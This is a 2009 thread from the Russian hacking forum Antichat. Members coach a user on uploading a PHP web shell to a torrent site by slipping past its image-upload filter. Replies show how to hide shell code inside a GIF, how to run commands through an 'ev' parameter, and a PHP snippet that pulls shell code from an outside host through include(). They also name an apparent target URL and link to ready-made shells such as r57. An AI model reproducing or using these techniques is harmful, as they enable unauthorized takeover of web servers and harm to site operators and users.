Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Нужно залить shell через картинку (https://forum.antichat.xyz/showthread.php?t=119075)

S0ulVortex 04.05.2009 19:23

Нужно залить shell через картинку
 
Есть торрент в нем есть заливка картинок.
Могу залить картинку и сделать её не jpeg а php.
При заливке простой картинки все нормально и в пхп сохраняет. Вот ниже если поменять jpg на php то на сервер он зальёт как php.
Код:

-----------------------------220022761016327\r\nContent-Disposition: form-data; name="file";
\nContent-Disposition: form-data; name="file"; filename="1.jpg"\r\nContent-Type:
и там дальше  исходник картинки.


А вот когда шелл сохраняем в формате jpg и пытаюсь залить он не заливает.

Вобщем кто знает как обойти фильтр.
Все делается через post запрос.
Или скинте картинку с шелом

Grey 04.05.2009 20:41

Состряпай в пейнте картинку 1 на 1.
Открой её фаром и на новой строке впиши код шелла (какой нидь не большой типа выполнялки команд).

К примеру гифка: http://rapidshare.com/files/229115118/m.gif.html
?ev=phpinfo();

S0ulVortex 04.05.2009 23:01

да все супер залил но теперь при заходе на эту страницу вылетает такое.


http://i052.radikal.ru/0905/0e/f805d357507b.jpg

m0Hze 04.05.2009 23:21

Ну так,ты напиши код в конце картинки нужный, и заливай.
Например в конце допиши:
<?
if(isset($_GET['shell'])){
include('http://mysite.com/shel.txt');
}
?>
И обратись к шеллу, http://torent.ru/img/gif.php?shell

Grey 04.05.2009 23:23

Цитата:

Сообщение от S0ulVortex
да все супер залил но теперь при заходе на эту страницу вылетает такое.


http://i052.radikal.ru/0905/0e/f805d357507b.jpg

Всё правильно, так и будет вылезать, но код при этом будет выполняться, а все остальное будет отображаться как html.

Если юзал мою картинку, то выполняй код так:

gif.php?ev=phpinfo();

2fed 09.05.2009 10:41

ну вот у меня трабл тоже самое я могу ... но на фотку твою добавил р57 не сработало (

2fed 09.05.2009 11:08

Грей обясни.. плз

Sn@k3 09.05.2009 11:20

http://file-hran2006.narod.ru/shell.txt если нужен шелл, не ищи.

2fed 09.05.2009 11:22

мне тока кодировка фотки ( шелл есть )

fl00der 09.05.2009 11:37

Спасибо, много узнал, читая тему.


Время: 21:31